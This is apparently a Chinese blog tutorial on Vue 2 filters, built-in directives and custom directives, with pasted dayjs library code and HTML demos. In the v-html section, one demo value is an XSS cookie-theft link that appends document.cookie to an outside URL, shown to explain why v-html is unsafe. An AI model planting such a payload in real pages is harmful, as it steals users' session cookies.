VUE2 学习 (过滤器、内置指令)-day04

Vue过滤器、指令详解
本文围绕Vue展开,介绍了过滤器,可对显示数据格式化,有全局和局部注册方式。还阐述了内置指令,如v-text、v-html等的作用及区别,强调v-html的安全问题。此外,说明了v-cloak、v-once、v-pre的特性。最后讲解了自定义指令的局部和全局语法及常用回调函数。

1-过滤器

定义:对要显示的数据进行特定格式化后再显示(使用于一些简单逻辑的处理
语法:
注册过滤器: 全局过滤器 Vue.filter(name, callback)或局部过滤器 new Vue(filters:{})
使用过滤器:插值语法 {undefined{xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
备注:
过滤器也可以接收额外参数,多个过滤器也可以串联
并没有改变原本的数据,是产生新的对应数据

 页面上day.js 可以自行copy

!function (t, e) { "object" == typeof exports && "undefined" != typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define(e) : (t = "undefined" != typeof globalThis ? globalThis : t || self).dayjs = e() }(this, (function () { "use strict"; var t = 1e3, e = 6e4, n = 36e5, r = "millisecond", i = "second", s = "minute", u = "hour", a = "day", o = "week", c = "month", f = "quarter", h = "year", d = "date", l = "Invalid Date", $ = /^(\d{4})[-/]?(\d{1,2})?[-/]?(\d{0,2})[Tt\s]*(\d{1,2})?:?(\d{1,2})?:?(\d{1,2})?[.:]?(\d+)?$/, y = /\[([^\]]+)]|Y{1,4}|M{1,4}|D{1,2}|d{1,4}|H{1,2}|h{1,2}|a|A|m{1,2}|s{1,2}|Z{1,2}|SSS/g, M = { name: "en", weekdays: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"), months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"), ordinal: function (t) { var e = ["th", "st", "nd", "rd"], n = t % 100; return "[" + t + (e[(n - 20) % 10] || e[n] || e[0]) + "]" } }, m = function (t, e, n) { var r = String(t); return !r || r.length >= e ? t : "" + Array(e + 1 - r.length).join(n) + t }, v = { s: m, z: function (t) { var e = -t.utcOffset(), n = Math.abs(e), r = Math.floor(n / 60), i = n % 60; return (e <= 0 ? "+" : "-") + m(r, 2, "0") + ":" + m(i, 2, "0") }, m: function t(e, n) { if (e.date() < n.date()) return -t(n, e); var r = 12 * (n.year() - e.year()) + (n.month() - e.month()), i = e.clone().add(r, c), s = n - i < 0, u = e.clone().add(r + (s ? -1 : 1), c); return +(-(r + (n - i) / (s ? i - u : u - i)) || 0) }, a: function (t) { return t < 0 ? Math.ceil(t) || 0 : Math.floor(t) }, p: function (t) { return { M: c, y: h, w: o, d: a, D: d, h: u, m: s, s: i, ms: r, Q: f }[t] || String(t || "").toLowerCase().replace(/s$/, "") }, u: function (t) { return void 0 === t } }, g = "en", D = {}; D[g] = M; var p = function (t) { return t instanceof b }, S = function t(e, n, r) { var i; if (!e) return g; if ("string" == typeof e) { var s = e.toLowerCase(); D[s] && (i = s), n && (D[s] = n, i = s); var u = e.split("-"); if (!i && u.length > 1) return t(u[0]) } else { var a = e.name; D[a] = e, i = a } return !r && i && (g = i), i || !r && g }, w = function (t, e) { if (p(t)) return t.clone(); var n = "object" == typeof e ? e : {}; return n.date = t, n.args = arguments, new b(n) }, O = v; O.l = S, O.i = p, O.w = function (t, e) { return w(t, { locale: e.$L, utc: e.$u, x: e.$x, $offset: e.$offset }) }; var b = function () { function M(t) { this.$L = S(t.locale, null, !0), this.parse(t) } var m = M.prototype; return m.parse = function (t) { this.$d = function (t) { var e = t.date, n = t.utc; if (null === e) return new Date(NaN); if (O.u(e)) return new Date; if (e instanceof Date) return new Date(e); if ("string" == typeof e && !/Z$/i.test(e)) { var r = e.match($); if (r) { var i = r[2] - 1 || 0, s = (r[7] || "0").substring(0, 3); return n ? new Date(Date.UTC(r[1], i, r[3] || 1, r[4] || 0, r[5] || 0, r[6] || 0, s)) : new Date(r[1], i, r[3] || 1, r[4] || 0, r[5] || 0, r[6] || 0, s) } } return new Date(e) }(t), this.$x = t.x || {}, this.init() }, m.init = function () { var t = this.$d; this.$y = t.getFullYear(), this.$M = t.getMonth(), this.$D = t.getDate(), this.$W = t.getDay(), this.$H = t.getHours(), this.$m = t.getMinutes(), this.$s = t.getSeconds(), this.$ms = t.getMilliseconds() }, m.$utils = function () { return O }, m.isValid = function () { return !(this.$d.toString() === l) }, m.isSame = function (t, e) { var n = w(t); return this.startOf(e) <= n && n <= this.endOf(e) }, m.isAfter = function (t, e) { return w(t) < this.startOf(e) }, m.isBefore = function (t, e) { return this.endOf(e) < w(t) }, m.$g = function (t, e, n) { return O.u(t) ? this[e] : this.set(n, t) }, m.unix = function () { return Math.floor(this.valueOf() / 1e3) }, m.valueOf = function () { return this.$d.getTime() }, m.startOf = function (t, e) { var n = this, r = !!O.u(e) || e, f = O.p(t), l = function (t, e) { var i = O.w(n.$u ? Date.UTC(n.$y, e, t) : new Date(n.$y, e, t), n); return r ? i : i.endOf(a) }, $ = function (t, e) { return O.w(n.toDate()[t].apply(n.toDate("s"), (r ? [0, 0, 0, 0] : [23, 59, 59, 999]).slice(e)), n) }, y = this.$W, M = this.$M, m = this.$D, v = "set" + (this.$u ? "UTC" : ""); switch (f) { case h: return r ? l(1, 0) : l(31, 11); case c: return r ? l(1, M) : l(0, M + 1); case o: var g = this.$locale().weekStart || 0, D = (y < g ? y + 7 : y) - g; return l(r ? m - D : m + (6 - D), M); case a: case d: return $(v + "Hours", 0); case u: return $(v + "Minutes", 1); case s: return $(v + "Seconds", 2); case i: return $(v + "Milliseconds", 3); default: return this.clone() } }, m.endOf = function (t) { return this.startOf(t, !1) }, m.$set = function (t, e) { var n, o = O.p(t), f = "set" + (this.$u ? "UTC" : ""), l = (n = {}, n[a] = f + "Date", n[d] = f + "Date", n[c] = f + "Month", n[h] = f + "FullYear", n[u] = f + "Hours", n[s] = f + "Minutes", n[i] = f + "Seconds", n[r] = f + "Milliseconds", n)[o], $ = o === a ? this.$D + (e - this.$W) : e; if (o === c || o === h) { var y = this.clone().set(d, 1); y.$d[l]($), y.init(), this.$d = y.set(d, Math.min(this.$D, y.daysInMonth())).$d } else l && this.$d[l]($); return this.init(), this }, m.set = function (t, e) { return this.clone().$set(t, e) }, m.get = function (t) { return this[O.p(t)]() }, m.add = function (r, f) { var d, l = this; r = Number(r); var $ = O.p(f), y = function (t) { var e = w(l); return O.w(e.date(e.date() + Math.round(t * r)), l) }; if ($ === c) return this.set(c, this.$M + r); if ($ === h) return this.set(h, this.$y + r); if ($ === a) return y(1); if ($ === o) return y(7); var M = (d = {}, d[s] = e, d[u] = n, d[i] = t, d)[$] || 1, m = this.$d.getTime() + r * M; return O.w(m, this) }, m.subtract = function (t, e) { return this.add(-1 * t, e) }, m.format = function (t) { var e = this, n = this.$locale(); if (!this.isValid()) return n.invalidDate || l; var r = t || "YYYY-MM-DDTHH:mm:ssZ", i = O.z(this), s = this.$H, u = this.$m, a = this.$M, o = n.weekdays, c = n.months, f = n.meridiem, h = function (t, n, i, s) { return t && (t[n] || t(e, r)) || i[n].slice(0, s) }, d = function (t) { return O.s(s % 12 || 12, t, "0") }, $ = f || function (t, e, n) { var r = t < 12 ? "AM" : "PM"; return n ? r.toLowerCase() : r }; return r.replace(y, (function (t, r) { return r || function (t) { switch (t) { case "YY": return String(e.$y).slice(-2); case "YYYY": return O.s(e.$y, 4, "0"); case "M": return a + 1; case "MM": return O.s(a + 1, 2, "0"); case "MMM": return h(n.monthsShort, a, c, 3); case "MMMM": return h(c, a); case "D": return e.$D; case "DD": return O.s(e.$D, 2, "0"); case "d": return String(e.$W); case "dd": return h(n.weekdaysMin, e.$W, o, 2); case "ddd": return h(n.weekdaysShort, e.$W, o, 3); case "dddd": return o[e.$W]; case "H": return String(s); case "HH": return O.s(s, 2, "0"); case "h": return d(1); case "hh": return d(2); case "a": return $(s, u, !0); case "A": return $(s, u, !1); case "m": return String(u); case "mm": return O.s(u, 2, "0"); case "s": return String(e.$s); case "ss": return O.s(e.$s, 2, "0"); case "SSS": return O.s(e.$ms, 3, "0"); case "Z": return i }return null }(t) || i.replace(":", "") })) }, m.utcOffset = function () { return 15 * -Math.round(this.$d.getTimezoneOffset() / 15) }, m.diff = function (r, d, l) { var $, y = this, M = O.p(d), m = w(r), v = (m.utcOffset() - this.utcOffset()) * e, g = this - m, D = function () { return O.m(y, m) }; switch (M) { case h: $ = D() / 12; break; case c: $ = D(); break; case f: $ = D() / 3; break; case o: $ = (g - v) / 6048e5; break; case a: $ = (g - v) / 864e5; break; case u: $ = g / n; break; case s: $ = g / e; break; case i: $ = g / t; break; default: $ = g }return l ? $ : O.a($) }, m.daysInMonth = function () { return this.endOf(c).$D }, m.$locale = function () { return D[this.$L] }, m.locale = function (t, e) { if (!t) return this.$L; var n = this.clone(), r = S(t, e, !0); return r && (n.$L = r), n }, m.clone = function () { return O.w(this.$d, this) }, m.toDate = function () { return new Date(this.valueOf()) }, m.toJSON = function () { return this.isValid() ? this.toISOString() : null }, m.toISOString = function () { return this.$d.toISOString() }, m.toString = function () { return this.$d.toUTCString() }, M }(), _ = b.prototype; return w.prototype = _, [["$ms", r], ["$s", i], ["$m", s], ["$H", u], ["$W", a], ["$M", c], ["$y", h], ["$D", d]].forEach((function (t) { _[t[1]] = function (e) { return this.$g(e, t[0], t[1]) } })), w.extend = function (t, e) { return t.$i || (t(e, b, w), t.$i = !0), w }, w.locale = S, w.isDayjs = p, w.unix = function (t) { return w(1e3 * t) }, w.en = D[g], w.Ls = D, w.p = {}, w }));

 下面按照格式化时间来进行演示

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>收集表单数据</title>
	<script type="text/javascript" src="../js/vue.js"></script>
	<script type="text/javascript" src="../js/day.js"></script>
</head>

<body>
	<div id="root">
		<h1>时间戳: {{time}}</h1>
		<!-- 计算属性实现 -->
		<h1>格式化时间:{{timeComputed}}</h1>
		<!-- methods 实现 -->
		<h1>格式化时间:{{getTime()}}</h1>
		<!-- 过滤器 实现 |管道符-->
		<h1>格式化时间:{{time | timeFormater()}}</h1>
		<!-- 过滤器 实现 传参-->
		<h1>格式化时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h1>
		<!-- 过滤器 实现 串联-->
		<h1>格式化时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss') | mySliceOfDay()}}</h1>
		<h1>格式化时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss') | mySliceOf4()}}</h1>

		<!--在v-bind 中使用 -->
		<input type="text" :value="name | mySliceOf4()"/>
	</div>

	<div id="root2">
		<h1>{{name | mySliceOf4()}}</h1>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	// 定义全局过滤器
	Vue.filter('mySliceOf4', function(val) {
		return val.slice(0, 4)
	});

	new Vue({
		el: '#root',
		data() {
			return {
				time: 1695262567573, //时间戳
				name: 'VUE是世界上最好的语言'
			}
		},
		methods: {
			getTime() {
				return dayjs(this.time).format('YYYY年-MM月-DD日 HH:mm:ss')
			}
		},
		computed: {
			timeComputed() {
				return dayjs(this.time).format('YYYY年-MM月-DD日 HH:mm:ss')
			}
		},
		filters: {
			timeFormater(val, str = 'YYYY年-MM月-DD日 HH:mm:ss') {
				return dayjs(val).format(str)
			},
			mySliceOfDay(val) {
				return dayjs(val).format('YYYY-MM-DD')
			}

		}
	})

	new Vue({
		el: '#root2',
		data() {
			return {
				name: 'JAVA是世界上最好的语言'
			}
		}
	})
</script>

</html>

2-  内置指令

2-1 v-text 、v-html

之前学过的内置指令

v-bind:单向绑定解析表达式,可简写为:
v-model:双向数据绑定
v-for:遍历数组 / 对象 / 字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-show:条件渲染 (动态控制节点是否展示)

v-text:作用:向其所在节点中渲染文本内容,与插值语法相比的区别:v-text会替换掉节点中的内容。插值语法则不会。

v-html指令:

作用:向指定节点中渲染包含html结构的内容

与插值语法的区别:

v-html会替换掉节点中所有的内容,{{xx}}则不会
v-html可以识别html结构
严重注意:v-html有安全性问题!!!

在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!!!
 

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>收集表单数据</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<div id="root">
		<div>{{name}}</div>
		<div v-text="name"></div>

		<div v-text="name"></div>
		<!-- v-text 解析为文本 v-html解析为html -->
		<div v-text="str"></div>
		<div v-html="str"></div>

		<div v-html="getCookie"></div>
	</div>

	
</body>

<script type="text/javascript">
	Vue.config.productionTip = false


	new Vue({
		el: '#root',
		data() {
			return {
				name:'VUE是最好的语言',
				str:'<h3>是否解析标签</h3>',
				getCookie:'<a href=javascript:location.href="http://www.baidu.com?" + document.cookie>点击跳转获取当前网站的所有cookie,传到坏人服务器</a>'
			}
		},
	})

	
</script>

</html>
 2-2 v-cloak

本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性

使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
	</head>
	<body>
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="../js/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>
2-3 v-once  、v-pre

1- v-once

所在节点在初次动态渲染后,就视为静态内容了(意思是只上来渲染一次初始值,后面操作就不变了)

以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

2- v-pre

跳过其所在节点的编译过程。

可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>v-once指令</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<div id="root">
		<!-- v-once  Vue解析完初始值后面就不变了-->
		<h2 v-once>n初始化的值是:{{n}}</h2>
		<h2>n现在的值是:{{n}}</h2>
		<button @click="n++">点我n+1</button>

		<!-- v-pre  Vue会跳过解析 原样输出-->
		<h2 v-pre>m现在的值是:{{m}}</h2>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	new Vue({
		el: '#root',
		data: {
			n: 1,
			m: 2
		}
	})
</script>

</html>

3-自定义指令

局部指令语法: 

new Vue({                                                            
     directives:{指令名:配置对象}   
 }) 
全局指令

Vue.directive(指令名,配置对象)

Vue.directive(指令名,回调函数)

配置对象中常用的3个回调函数:
        1- bind(element,binding):指令与元素成功绑定时调用


        2- inserted(element,binding):指令所在元素被插入页面时调用


        3-update(element,binding):指令所在模板结构被重新解析时调用
备注:
指令定义时不加“v-”,但使用时要加“v-”
指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title></title>

</head>

<body>
	<div id="root">
		<!-- 1-定义v-big指令 , 放大n的值为10倍 -->
		<h2>当前的n的值是: <span v-text="n"></span></h2>
		<h2>放大后n的值是: <span v-big-number="n"></span></h2>
		<button @click="n++">点下我,n自增</button>
		<hr />
		<!-- 1-定义v-fbind指令 , 输入框获取焦点。原始写法(分步)  -->
		<input type="text" v-fbind:value="n">

		<hr />
		<!-- 2-指令全局写法  -->
		<input type="text" v-fbind2:value="n">
	</div>


	<div id="root2">
		<!-- 2-指令全局写法  -->
		<input type="text" v-fbind2:value="m">
	</div>
	<script type="text/javascript" src="../js/vue.js"></script>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	// 全局写法
	Vue.directive('fbind2',{
			//指令成功与元素绑定时候(初始化)
			bind(element, binding) {
					console.log("bind");
					element.value = binding.value;
				},
				//指令所在元素被插入页面时候
				inserted(element, binding) {
					console.log("inserted");
					element.focus();

				},
				update(element, binding) {
					console.log("update");

					element.value = binding.value;
					element.focus();

				}
	})

	new Vue({
		el: '#root',
		data: {
			n: 1
		},
		directives: {
			'big-number'(element, binding) {

				// 1-指令初始化时候调用 2- 指令所在模版重新解析时候(比如: data 里面数据改变)
				console.log("element 指的是当前指令绑定的节点", element);
				console.log("binding 指的是当前节点的对象", binding);
				console.log("binding 指的是当前节点的对象的vue", binding.value);

				element.innerText = binding.value * 10;
			},
			fbind: {
				//指令成功与元素绑定时候(初始化)
				bind(element, binding) {
					console.log("bind");
					element.value = binding.value;
				},
				//指令所在元素被插入页面时候
				inserted(element, binding) {
					console.log("inserted");
					element.focus();

				},
				update(element, binding) {
					console.log("update");

					element.value = binding.value;
					element.focus();

				}
			}

		}
	})

	new Vue({
		el:'#root2',
		data() {
			return {
				m : 1
			}
		},
	})
</script>

</html>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

syfjava

请博主喝杯蜜雪冰城

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值